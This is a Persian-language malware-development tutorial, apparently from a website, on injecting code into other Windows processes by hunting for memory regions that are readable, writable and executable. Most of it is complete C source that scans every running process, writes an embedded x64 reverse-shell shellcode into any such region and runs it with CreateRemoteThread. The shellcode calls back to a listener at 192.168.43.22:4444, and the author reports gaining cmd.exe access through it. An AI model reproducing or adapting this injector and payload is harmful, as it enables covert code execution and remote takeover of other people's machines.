تزریق کد بوسیله تکنیک RWX-Memory Hunting
RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ، به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن) پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .
روش پیاده سازی RWX-Memory Hunting
در پیاده سازی این تکنیک ابتدا تمام پروسه های در حال اجرای سیستم را سرشماری میکنیم (توسط تابع های CreateToolhelp32Snapshot , Process32First , Process32Next). بخش های حافظه هر کدام از پروسه های سیستم را جستوجو میکنیم تا ببینیم آیا منطقه ای با حالت RWX در آن موجود است یا نه (توسط تابع VirtualQueryEx) . اگر چنین منطقه ای پیدا کردیم ، shellcode موردنظر خود را در آن منطقه نوشته (توسط تابع WriteProcessMemory) و یک thread در پروسه مقصد میسازیم تا آن shellcode را اجرا کند (توسط تابع CreateRemoteThread) .
همانطور که اشاره شد برای جستوجو مناطق RWX از تابع VirtualQueryEx استفاده میکنیم . این تابع میتواند اطلاعاتی در مورد محدوده ای از حافظه در یک پروسه دیگر به ما بدهد . این اطلاعات شامل نوع محافظتی (Protection) آن منطقه حافظه نیز میباشد .
الگو یا prototype تابع VirtualQueryEx در Windows API به شکل زیر است :
SIZE_T VirtualQueryEx(
[in] HANDLE hProcess,
[in, optional] LPCVOID lpAddress,
[out] PMEMORY_BASIC_INFORMATION lpBuffer,
[in] SIZE_T dwLength
);
اولین پارامتر تابع یک handle به پروسه مقصد است که قصد بررسی نواحی حافظه آن را داریم (توسط OpenProcess بدست می آید) . دومین پارامتر تابع آدرس شروع منطقه ای از حافظه است که میخواهیم اطلاعات آن را بدست بیاوریم .
پارامتر سوم یک اشاره گر به ساختار MEMORY_BASIC_INFORMATION است که حاوی اطلاعاتی از یک ناحیه از حافظه است . تابع VirtualQueryEx به عنوان خروجی کار ، اطلاعات حافظه مورد نظر را در این ساختار برای ما ذخیره میکند .
نهایتا پارامتر آخر اندازه ساختاری است که اشاره گر آن را در پارامتر سوم به تابع داده ایم .
ساختار MEMORY_BASIC_INFORMATION به شکل زیر تعریف شده است :
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
WORD PartitionId;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
سه عضو از این ساختار برای ما مهم هستند . AllocationProtect , RegionSize و State . اولی مشخص کننده حالت محافظتی منطقه مورد نظر از حافظه است که ما به دنبال مناطقی هستیم که AllocationProtect در آن ها برابر ماکرو PAGE_EXECUTE_READWRITE باشد (همان RWX) .
دومی مشخص کننده اندازه آن منطقه از حافظه در واحد byte است یعنی اختلاف آدرس شروع منطقه مورد نظر از حافظه ( در پارامتر دوم به VirtualQueryEx میدهیم ) تا بخش های بعدی از حافظه که ویژگی های یکسانی دارند .
نهایتا سومی یعنی State مشخص کننده وضعیت تخصیص حافظه است . میتواند یکی از مقادیر MEM_COMMIT , MEM_RESERVE و یا MEM_FREE باشد . حافظه ای که ما به دنبال آن هستیم باید MEM_COMMIT باشد .
برای اطلاعات بیشتر در مورد تابع VirtualQueryEx و پارامتر های آن به منبع رسمی مراجعه کنید که در بخش منابع آورده شده است .
سورس کد RWX-Memory Hunting در C
#include <windows.h>
#include <tlhelp32.h>
/* x64 shell_reverse_tcp shellcode */
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main (int argc , char ** argv){
/* Create an snapshot from system processes to enumerate them */
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , 0);
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof (pe);
/* Get first process from snapshot */
Process32First(snapshot , &pe);
/* iterate over all system processes */
do {
/* ignore injection if process is explorer.exe or devcpp.exe , my editor 🙂 */
if (0 == strcmp("explorer.exe" , &pe.szExeFile) ||
0 == strcmp("devcpp.exe" , &pe.szExeFile)) continue ;
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS , 0 , pe.th32ProcessID);
if (!hProcess) continue ;
LPVOID offset = (LPVOID)0 ; /* lpAddress in VirtualQueryEx */
MEMORY_BASIC_INFORMATION meminfo = { 0 };
while (VirtualQueryEx(hProcess , (LPCVOID)offset , &meminfo , sizeof (meminfo))){
if (meminfo.AllocationProtect == PAGE_EXECUTE_READWRITE &&
meminfo.State == MEM_COMMIT){
/* This is a RWX & Commited region 🙂 */
/* Injecting shellcode to this region */
printf("[+] RWX memory at %p in %s\n" ,(LPVOID)offset , &pe.szExeFile);
/* Writing the shellcode to the region */
WriteProcessMemory(hProcess , offset , shellcode , sizeof(shellcode) , 0);
/* Create a remote thread to run injected shellcode */
CreateRemoteThread(hProcess , 0 , 0 , (LPTHREAD_START_ROUTINE)offset , 0 ,
0 , 0);
}
/* Updating offset to check next region of process memory */
offset = (LPVOID)((DWORD_PTR)meminfo.BaseAddress + meminfo.RegionSize) ;
}
CloseHandle(hProcess);
} while (Process32Next(snapshot , &pe));
return 0x0 ;
}
بعد از اینکه در خط ۴۲ یک snapshot از پروسه های سیستم ساخته ایم ، در حلقه do-while خط ۵۰ ، تک تک پروسه های سیستم را با استفاده از OpenProcess باز میکنیم و از آدرس صفر شروع به بررسی نواحی حافظه آن ها میکنیم . به محض اینکه یک حافظه با حالت RWX که Commit شده است پیدا کردیم (شرط خط ۶۳) shellcode ر ا به آن تزریق کرده و یک thread برای اجرای shellcode میسازیم .
دقت کنید در خط ۵۲ یک شرط اجرا کرده ایم که اگر پروسه explorer.exe یا devcpp.exe بود عملیات تزریق انجام نشود . تزریق به explorer.exe میتواند باعث ایجاد مشکلاتی شود که نیاز به restart کردن explorer.exe پیش می آید برای همین بیخیال آن شده ایم . در اینجا ، از آنجایی که از محیط توسعه devcpp.exe برای نوشتن و اجرای این کد استفاده میکردیم و تزریق به این محیط میتواند باعث crash کردن آن شود از این پروسه نیز گذشت کرده ایم :).
اجرا و تست
shellcode استفاده شده در سورس کد ما یک شل معکوس بود که به سیستم شنودگر من به آدرس 192.168.43.22 و درگاه 4444 متصل میشود . پس قبل از اجرای نسخه compile شده سورس کد ، یک شنودگر توسط netcat در سیستم شنودگر ایجاد کرده و سپس بدافزار را اجرا میکنم :
در سمت چپ تصویر کد compile شده را اجرا کرده و در سمت راست نیز شنودگر را . همانطور که نتیجه را میبینید یک دسترسی به cmd.exe در شنودگر ایجاد شده است .
منابع
این آموزش متعلق به بخش توسعه بدافزار است
برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید
علاقه مند به دنیای کامپیوتر ها ...
عالی 🙂
🙂